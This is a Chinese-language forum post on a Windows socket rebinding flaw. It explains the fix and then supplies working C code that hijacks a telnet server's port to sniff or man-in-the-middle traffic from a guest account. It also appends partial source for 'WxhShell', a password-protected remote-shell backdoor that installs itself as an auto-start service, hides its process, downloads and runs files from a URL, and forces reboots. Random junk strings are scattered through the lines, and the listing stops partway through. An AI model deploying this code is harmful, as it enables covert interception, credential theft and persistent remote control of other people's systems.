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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^{=UKf{  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); B[7,Hy,R  
. 70=xH  
  saddr.sin_family = AF_INET; W/t,7lPFb  
c u";rnj  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 2 yANf  
Twd*HH  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); *My9r.F5o  
d oEuKT  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 yFmy  
o^(I+<el  
  这意味着什么?意味着可以进行如下的攻击: uK(]@H7~!c  
`^^t#sT   
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 2(~Zl\  
..nVViZ  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) wy:Gy9\  
(2Lmu[  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 3o>JJJ=]  
^W@8KB  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ;P juO  
sxRKWM@4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GJQ>VI2cY  
fDW:|%{Y,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]ke9ipj]:  
/8l@n dZf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ST[TKL<]  
S!$S'{f<  
  #include V0 Z8VqV  
  #include (j@c946z""  
  #include Z+6WG  
  #include    O9?.J,,mVh  
  DWORD WINAPI ClientThread(LPVOID lpParam);   )hQ]>o@i{  
  int main() #*y.C[^5{  
  { 3ww\Z8UeK  
  WORD wVersionRequested; 73'AQ")UJ  
  DWORD ret; e>c -b^{&  
  WSADATA wsaData; M1NdlAAf  
  BOOL val; 6[R6P:v&'G  
  SOCKADDR_IN saddr; 4<PupJ  
  SOCKADDR_IN scaddr; 3`{ vx  
  int err; rloxM~7!,)  
  SOCKET s; j<BRaT  
  SOCKET sc; 1Vz^?t:  
  int caddsize; "PN4{"`V  
  HANDLE mt; VKYljY0#  
  DWORD tid;   VR1]CN"G  
  wVersionRequested = MAKEWORD( 2, 2 ); sk 8DW  
  err = WSAStartup( wVersionRequested, &wsaData ); $")Gd@aR  
  if ( err != 0 ) { NV(jp'i~  
  printf("error!WSAStartup failed!\n"); V*2 * 5hx  
  return -1; {4/*2IRN9h  
  } ?#&[1.= u  
  saddr.sin_family = AF_INET; (vD==n9Hd  
   >m!Z$m([J  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0iR?r+|  
*}#HBZe(9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); [!3cWJCt  
  saddr.sin_port = htons(23); )jUPMIo  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "m6G;cv  
  { +IbV  
  printf("error!socket failed!\n"); 8mdVh\i!Kf  
  return -1; h/:LC 7  
  } 9yTDuhJ6  
  val = TRUE; Ho*B<#&(A|  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N Czabl  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) @@\px66  
  {  HRbv%  
  printf("error!setsockopt failed!\n"); _!,2"dS  
  return -1; XHKLl?-  
  } V"K.s2U^  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; PcZ<JJ16F$  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 |unvDXx-  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ,/V~T<FI  
pnx^a}|px  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) tQT<1Q02i  
  { baTd;`Pn  
  ret=GetLastError(); lg )xQV  
  printf("error!bind failed!\n"); WEG!;XZ  
  return -1;  %rlqq*  
  } SQU@JKi; g  
  listen(s,2); ARnq~E@1  
  while(1) $\] Mvd  
  { $39TP@?:Z)  
  caddsize = sizeof(scaddr); m;xa}b{(i  
  //接受连接请求 v)|a}5={  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); xfX|AC  
  if(sc!=INVALID_SOCKET) T1Z*>(M  
  { o2$A2L9P  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); OKau3T]  
  if(mt==NULL) d^tY?*n  
  { ' i5}`\  
  printf("Thread Creat Failed!\n"); 1TfFWlf[B  
  break; =Xid"$  
  } GJE+sqMX1  
  } e8:O2!HW  
  CloseHandle(mt); 2{ l|<'  
  } W;!V_-:  
  closesocket(s); :iE`=( o  
  WSACleanup(); ~Hg*vCd ?  
  return 0; /5epDDP-t5  
  }   @sZ' --Y  
  DWORD WINAPI ClientThread(LPVOID lpParam) T:K}mLSg  
  { 99'c\[fd'  
  SOCKET ss = (SOCKET)lpParam; [K4 k7$  
  SOCKET sc; .) %, R  
  unsigned char buf[4096]; KdZ=g ZSH  
  SOCKADDR_IN saddr; G eB-4img  
  long num; K+L9cv4 |*  
  DWORD val; +G!# /u1  
  DWORD ret; !J{[XT  
  //如果是隐藏端口应用的话,可以在此处加一些判断 /?Y4C)G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   w&es N$2  
  saddr.sin_family = AF_INET; k+i0@G'C(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); m8b-\^eP7  
  saddr.sin_port = htons(23); &jg>X+;  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n++ak\  
  { $JBb] v8_  
  printf("error!socket failed!\n"); YB)I%5d;{  
  return -1; M1 o@v0  
  } fh1-]$z`~  
  val = 100; DW7Jk"\GH  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q`z1ht nf  
  { fU%Mz\t  
  ret = GetLastError(); $5\sV48f  
  return -1; ~K|ha26W  
  } h5aPRPUg  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) gth_Sz5!#  
  { 7rGp^  
  ret = GetLastError(); =\i%,YY  
  return -1; #1}%=nAsi  
  } ;Tq4!w'rH  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) apM)$  
  { \7$"i5  
  printf("error!socket connect failed!\n"); `GY]JVW  
  closesocket(sc); qn{9vr  
  closesocket(ss); cL#zE  
  return -1; OQg}E@LZ  
  } /=#~8  
  while(1) &FZ~n?;hQ  
  { ) R5[a O  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7N vRZ!  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |VyN>&r~6  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 Aq'~'hS`1  
  num = recv(ss,buf,4096,0); kxAT  
  if(num>0) U =g&c `  
  send(sc,buf,num,0); A+\rGVNH'S  
  else if(num==0) ,ag* /  
  break; !T~uxeZ/;  
  num = recv(sc,buf,4096,0); md\Vw?PkU  
  if(num>0) Y|/,*,u+  
  send(ss,buf,num,0); JH2-'  
  else if(num==0) 7g oRj  
  break; u-.nR}DM_  
  } ].QzOV'  
  closesocket(ss); g*4^HbVxt  
  closesocket(sc); _IxYnm`pc  
  return 0 ; !@T~m1L eY  
  } 28}L.>5k  
8yZs>Og?  
rJ6N'vw>  
========================================================== Fy6Lz.baB  
?g *.7Wc  
下边附上一个代码,,WXhSHELL L0%W;m  
n7n-uc  
========================================================== #&K}w 0}k  
Eh9{n,5-  
#include "stdafx.h" E( *CEW.V*  
v806f8  
#include <stdio.h> \vL{f;2J  
#include <string.h> mv/ Nz?  
#include <windows.h> 3|URlz  
#include <winsock2.h> @lh]? |*[  
#include <winsvc.h> AuBBSk8($  
#include <urlmon.h> 00Ye ]j_  
!0KN A1w,  
#pragma comment (lib, "Ws2_32.lib") =C)2DWJ1  
#pragma comment (lib, "urlmon.lib") wwa)VgoS[  
tjne[p  
#define MAX_USER   100 // 最大客户端连接数 ojIGfQV  
#define BUF_SOCK   200 // sock buffer )g U#[}6H  
#define KEY_BUFF   255 // 输入 buffer g+4x  
ue!4By8T  
#define REBOOT     0   // 重启 N{Pa&/V  
#define SHUTDOWN   1   // 关机 7< ?Aou  
n2'XWbMaL  
#define DEF_PORT   5000 // 监听端口 bK!uR&i^l  
hb)83mH}  
#define REG_LEN     16   // 注册表键长度 [ 4PiQyr  
#define SVC_LEN     80   // NT服务名长度 q((%sWp  
X:(t,g*7  
// 从dll定义API =C^4nP-  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); zmFKd5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u*7>0o|H:  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); es$<Vkbp  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vsB3n$2@u  
p%\&M bA  
// wxhshell配置信息 uxW<Eh4H*  
struct WSCFG { AC?a:{ ./  
  int ws_port;         // 监听端口 qvJQbo[.9P  
  char ws_passstr[REG_LEN]; // 口令 [bBPs&7u  
  int ws_autoins;       // 安装标记, 1=yes 0=no +xYg<AFS  
  char ws_regname[REG_LEN]; // 注册表键名 E@Yq2FBpnn  
  char ws_svcname[REG_LEN]; // 服务名 R:44Gv7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 'H1k  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0A75)T=lQ  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J$yJ2G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ng[LSB*57Y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7VfPS5se  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0y;1D k!  
vC^n_  
}; AnBD~h h  
_U~~[I  
// default Wxhshell configuration |7miT!y8  
struct WSCFG wscfg={DEF_PORT, :*tFW~<*b  
    "xuhuanlingzhe", c 1{nOx  
    1, #b;TjnC5{$  
    "Wxhshell", 19\ V@d^  
    "Wxhshell", i6:O9Km  
            "WxhShell Service", t8~isuiK  
    "Wrsky Windows CmdShell Service", 2t#[$2mg\0  
    "Please Input Your Password: ", 6lQP+! EF  
  1, .DhB4v&  
  "http://www.wrsky.com/wxhshell.exe", 9u_D@A"aC`  
  "Wxhshell.exe" -9q3]nmT(  
    }; XK@Ct eP"  
w.-J2%J   
// 消息定义模块 A4TW`g_zm  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >ZnnGX6$(  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N >];xb>  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; qoC<qn{.a  
char *msg_ws_ext="\n\rExit."; ,mE}#cyY  
char *msg_ws_end="\n\rQuit."; 6dqI{T-i?  
char *msg_ws_boot="\n\rReboot..."; FMqes5\ 3  
char *msg_ws_poff="\n\rShutdown..."; K'U=);W  
char *msg_ws_down="\n\rSave to "; L\t?^u  
AK$i0Rn;pm  
char *msg_ws_err="\n\rErr!"; 'RIx}vPf  
char *msg_ws_ok="\n\rOK!"; fRcy$  
di~ [Ivw  
char ExeFile[MAX_PATH]; hsZ@)[/:  
int nUser = 0; !=vd:,  
HANDLE handles[MAX_USER]; kSjvY&n%  
int OsIsNt; B[7Fq[.mh  
@F!oRm5  
SERVICE_STATUS       serviceStatus; _Q\<|~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle;  4{D^ 4G  
?; tz  
// 函数声明 WWVQJ{,}  
int Install(void); "'I |#dKoG  
int Uninstall(void); rCdTn+O2  
int DownloadFile(char *sURL, SOCKET wsh); %u*HNo  
int Boot(int flag); G~zP&9N|  
void HideProc(void); slG%o5|m  
int GetOsVer(void); 7k#0EhN1>  
int Wxhshell(SOCKET wsl); UH7FIM7kX  
void TalkWithClient(void *cs); a)rT3gl  
int CmdShell(SOCKET sock);  75T+6 u  
int StartFromService(void); 3 E!F8GZ  
int StartWxhshell(LPSTR lpCmdLine); a)M3t  
ujeN|W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); P,K^ oz}  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); En YEAjX  
^-qz!ib  
// 数据结构和表定义 J L2g!n= K  
SERVICE_TABLE_ENTRY DispatchTable[] = 'LLpP#(  
{ rTA#4.*&  
{wscfg.ws_svcname, NTServiceMain}, _>Oc> .MB  
{NULL, NULL} aj$&~-/ R  
}; bMN ]co  
1 o\COnt  
// 自我安装 S+-V16{i  
int Install(void) U{8x.CJ]  
{ 7m;<b$  
  char svExeFile[MAX_PATH]; lxtt+R  
  HKEY key; n@//d.T  
  strcpy(svExeFile,ExeFile); O|0,= 5  
X/A(8rvCr  
// 如果是win9x系统,修改注册表设为自启动 dY.NQ1@"  
if(!OsIsNt) { mZL0<vU@^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ihx[S!:  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !+3nlG4cw  
  RegCloseKey(key); 6@ =ipPCR  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *30T$_PiX|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zB#.EW  
  RegCloseKey(key); 2%~+c|TH.)  
  return 0; #8a k=lL  
    } O`0\f8/.?  
  } o(oD8Ni  
} Md>9Daa~  
else { 4-W~ 1  
Ew&|!d  
// 如果是NT以上系统,安装为系统服务 @eN,m {b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~Da-|FKa>  
if (schSCManager!=0) eZmwF@  
{ kwrM3nq  
  SC_HANDLE schService = CreateService *~8g:;u  
  ( ]oyWJ#8  
  schSCManager, >$;,1N $bd  
  wscfg.ws_svcname, PS`F  
  wscfg.ws_svcdisp, 3Hhu]5  
  SERVICE_ALL_ACCESS, iq3TP5%i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , X="]q|Z  
  SERVICE_AUTO_START, +pbP;zu  
  SERVICE_ERROR_NORMAL, GT-ONwVDq  
  svExeFile, B8?j"AF  
  NULL, ~f?brQ?  
  NULL, 1cd3m  
  NULL, Gn 1  
  NULL, rnM C[  
  NULL :VlMszy}B3  
  ); `/o|1vv@_  
  if (schService!=0) %H=^U8WB  
  { M8f[ck  
  CloseServiceHandle(schService); TZa LB}4  
  CloseServiceHandle(schSCManager); t7,**$ST  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !s[ gv1  
  strcat(svExeFile,wscfg.ws_svcname); _ IlRZ}f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { zTfl#%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DfVSG1g  
  RegCloseKey(key); 4\14HcTcK  
  return 0; :qtg`zM/4  
    } y+$a}=cb0  
  } R{{?wr6b$  
  CloseServiceHandle(schSCManager); /_tN&[  
} <(BIWm*  
} ])vqXjN6"  
pzxlh(a9  
return 1; ,A>cL#Oe  
} yUg'^SEbLk  
/D;cm  
// 自我卸载 CiIIlE4  
int Uninstall(void) :<xf'.  
{ x=V3_HI/}  
  HKEY key; >* ]B4Q  
,-1d2y  
if(!OsIsNt) { &IkHP/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .Iv`B:4  
  RegDeleteValue(key,wscfg.ws_regname); $QaEU="Z  
  RegCloseKey(key); S vW{1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h`Xl~=  
  RegDeleteValue(key,wscfg.ws_regname); xhncQhf\  
  RegCloseKey(key); FF#?x@N:  
  return 0; L^L.;1  
  } >,n K  
} cEEnR1  
} F& ['w-n%  
else { JUTlJyx8  
KqWO9d?w.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {/!Yavx  
if (schSCManager!=0) Q57Z~EsF  
{ ?7w7Y;FuR  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $2$jV1s  
  if (schService!=0) 6bBNC2K$-  
  { U sV?}  
  if(DeleteService(schService)!=0) { 10m`LG  
  CloseServiceHandle(schService); &}FWpo!  
  CloseServiceHandle(schSCManager); zu``F]B  
  return 0; +3?.Vb%jY  
  } [V41 Gk  
  CloseServiceHandle(schService); l/56;f\IA  
  } Bx0=D:j  
  CloseServiceHandle(schSCManager); _>G=xKA#e  
} 2.&%mSN  
} *r iWrG  
hu:x,;`9H  
return 1; FUZ`ST+OL  
} aY\(R02B  
X9#i!_*  
// 从指定url下载文件 &P gk$e%>  
int DownloadFile(char *sURL, SOCKET wsh) 3q`Uq`t4mR  
{ ;et(Yi;9  
  HRESULT hr; ?1Uq ud  
char seps[]= "/"; ;i&t|5y~  
char *token; r\m2Oo)]  
char *file; !GtCOr\'  
char myURL[MAX_PATH]; 6jz~q~ I  
char myFILE[MAX_PATH]; &a";jO GB  
# 0/,teJ k  
strcpy(myURL,sURL); 6R!AIOD>  
  token=strtok(myURL,seps); MG74,D.f  
  while(token!=NULL) T@Th?  
  { BU=Ta$#BZ  
    file=token; u$+nl~p[&  
  token=strtok(NULL,seps); NzbHg p  
  } MDfC%2Q  
)7a 4yTg!~  
GetCurrentDirectory(MAX_PATH,myFILE); mlbSs_LT^  
strcat(myFILE, "\\"); d&%}u1 .  
strcat(myFILE, file); 0Yfz?:e  
  send(wsh,myFILE,strlen(myFILE),0); (2r808^2  
send(wsh,"...",3,0); \7 }{\hY-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 'BNZUuUl  
  if(hr==S_OK) ShMP_?]P  
return 0; saR9_ ux  
else g715+5z[  
return 1; 4,:)%KB"V  
ivPX_#QI  
} 9D51@b6k  
~lH2# u>g  
// 系统电源模块 =p#:v  
int Boot(int flag) 0mI4hy  
{ I.)9:7   
  HANDLE hToken; {AAi x  
  TOKEN_PRIVILEGES tkp; _"- ,ia[D  
D~@lpcI  
  if(OsIsNt) { !-q)9K?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q8 Rep  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9a{9|p>L  
    tkp.PrivilegeCount = 1; (h% xqXs  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ib~EQ?u{  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gBo~NLrf  
if(flag==REBOOT) { @ jD#Tn-*  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pNc4o@-  
  return 0; LgA> ,.  
} AI3\eH+  
else { {)& b6}2h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) avxI%%|  
  return 0; QykHB k  
} pcPRkYT[ M  
  } Is }?:ET  
  else { RH&}'4JE:  
if(flag==REBOOT) { QHe:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y,d|b V*FH  
  return 0; CpC6vA.R  
} I9kBe}g3  
else { Xb7G!Hk#g  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) KZwzQ"Hl  
  return 0; yb'v*B ]  
} RBOhV/f  
} kk+:y{0V  
[I%'\CI;  
return 1; HG[gJ7  
} txy'7t  
_OR[RGy  
// win9x进程隐藏模块 #L xfE<^  
void HideProc(void) $ Bdxu  
{ a`S3v  
_Uu p*#m  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >I9|N}I  
  if ( hKernel != NULL ) 2Q[q)u  
  { `}*jjnr"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vjYG>YhV  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8rSu,&<  
    FreeLibrary(hKernel); d4A3DTW  
  } zM<yd#`yt8  
n_-k <3  
return; Y~I6ee,\  
} pOIfKd  
P%Wl`NA P  
// 获取操作系统版本 t}Kzh`  
int GetOsVer(void)  h]?[}&  
{ ((tWgSZ3  
  OSVERSIONINFO winfo; X$ 76#x  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L&qY709  
  GetVersionEx(&winfo); T2i\S9X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) [`=:uUf3  
  return 1; $ q$\  
  else ;%xG bg!lg  
  return 0; 2Jn?'76`  
} f'B#h;`  
K yp(dp>  
// 客户端句柄模块 {;?bC'  
int Wxhshell(SOCKET wsl) \t]aBT,  
{ "'mr0G9X  
  SOCKET wsh; _tVrLb7`s  
  struct sockaddr_in client; ]=m0@JTbG  
  DWORD myID; j0IuuJ+  
!6{b)P  
  while(nUser<MAX_USER) >s"kL^  
{ &3'zG)  
  int nSize=sizeof(client); ?1lx8+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N;XJMk_ H  
  if(wsh==INVALID_SOCKET) return 1; |NaEXzo|qY  
D[CEg2$y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ]e]hA@4  
if(handles[nUser]==0) _D."KU|  
  closesocket(wsh); ;#6j9M0  
else w0$l3^}z  
  nUser++; X>VxE/  
  } K2t|d[r  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); k0!D9tk  
*(]@T@yN  
  return 0; wvg>SfV,e  
} S:xG:[N@  
kNTxYJ  
// 关闭 socket aW#_"Y}v'  
void CloseIt(SOCKET wsh) sK`pV8&xq  
{ b:(*C  
closesocket(wsh); >rzpYc'~w  
nUser--;  S]&7  
ExitThread(0); ;gv9J [R  
} t&Z:G<;  
qf6}\0   
// 客户端请求句柄 +G>;NiP_  
void TalkWithClient(void *cs) Gzu $  
{ KoO\<_@";  
3?oj46gP  
  SOCKET wsh=(SOCKET)cs; XW9 [VUW~  
  char pwd[SVC_LEN]; 0i65.4sK  
  char cmd[KEY_BUFF]; jYJfo<  
char chr[1]; {"w4+m~+te  
int i,j; 3ZU<u;  
&y=~:1&f  
  while (nUser < MAX_USER) { pM'AhzS  
@^93q  
if(wscfg.ws_passstr) { Cn(0ID+3f  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WXC}Ie  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); v_Y'o _  
  //ZeroMemory(pwd,KEY_BUFF); nH]F$'rtA  
      i=0; k!6wVJ|_Y  
  while(i<SVC_LEN) { ;'J{ylRQ  
:N([s(}!$2  
  // 设置超时 (~FLG I  
  fd_set FdRead; h *-j  
  struct timeval TimeOut; _K"X  
  FD_ZERO(&FdRead); y*Wl(w3  
  FD_SET(wsh,&FdRead); #.n%$r  
  TimeOut.tv_sec=8; bbO1`b-  
  TimeOut.tv_usec=0; 7`f',ZK%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U 4@W{P02  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,:QDl  
+k4 SN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K q0!.455  
  pwd=chr[0]; =K2mR}n\;  
  if(chr[0]==0xd || chr[0]==0xa) { m*S[oy&  
  pwd=0; P$=Y5   
  break;  Gp/yr  
  } s$ 2@|;  
  i++; 4X &\/X  
    } s~(iB{-  
*.DTcV  
  // 如果是非法用户,关闭 socket ^#4?v^QNh  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Fhn=}7|4q  
} {~"6/L  
H `V3oS~}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); fscAG\>8  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *X K9-%3  
i>C:C>~  
while(1) { ~agzp`!M  
bstc|8<  
  ZeroMemory(cmd,KEY_BUFF); *SX'Or,  
9s-op:5  
      // 自动支持客户端 telnet标准   xED`8PCfu  
  j=0; ,/;mK_6  
  while(j<KEY_BUFF) { YolO-5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *8uSy/l  
  cmd[j]=chr[0]; w$cic  
  if(chr[0]==0xa || chr[0]==0xd) { H3"[zg9L:a  
  cmd[j]=0; PL#8~e;'  
  break; K`nI$l7hg  
  } w`vJE!4B  
  j++; ;u'mSJI'  
    } `A)9   
[UVxtMJ  
  // 下载文件 DGx9 \8^  
  if(strstr(cmd,"http://")) { :Gh* d)  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); G"= tQ$ZU  
  if(DownloadFile(cmd,wsh)) +b.qzgH>r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); IPU'M*|Q  
  else U-ILzK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s7C oUd2  
  } iAX\F`  
  else { %($qg-x  
JrTSu`S('  
    switch(cmd[0]) { _M+'30  
  kSH3)CC P  
  // 帮助 ~ySmN}3~'  
  case '?': { ';x .ry  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zi23k=  
    break; z[DUktZl  
  } xa`&/W>  
  // 安装 22\Buk}?  
  case 'i': { w~EXO;L2  
    if(Install()) 0Ng6Xg(QHc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (}fbs/8\p  
    else !ZbNW4rIP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mD:d,,~  
    break; V; 1r  
    } YNbs* i&  
  // 卸载 .Lo$uKsW$l  
  case 'r': { y UQ;tTI  
    if(Uninstall()) sJX/YGHt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z9ciS";L  
    else 0k>NuIIP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g# :|Mjgh  
    break; iYA06~ d  
    } mSAuS)YD  
  // 显示 wxhshell 所在路径 ]DdD FLM  
  case 'p': { )$yqJ6y5  
    char svExeFile[MAX_PATH]; y-}lz#N  
    strcpy(svExeFile,"\n\r"); +&tY&dQQB  
      strcat(svExeFile,ExeFile); :7IL|bA<  
        send(wsh,svExeFile,strlen(svExeFile),0); ?V#%^ 57p  
    break; UuAn`oYhV  
    } =2bW"gs I  
  // 重启 *#Hi W)  
  case 'b': { O{&5/xBA  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); + H_Jr'/  
    if(Boot(REBOOT)) bOux8OHt*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ppVjFCv0<  
    else { 9x&,`95O  
    closesocket(wsh); GY<Y,  
    ExitThread(0); 5?k_Q"~  
    } N2;T\xx,  
    break; }_0?S0<#  
    } g GN[AqR  
  // 关机 @fT*fv   
  case 'd': { Kom$i<O?48  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R+gh 2 6e  
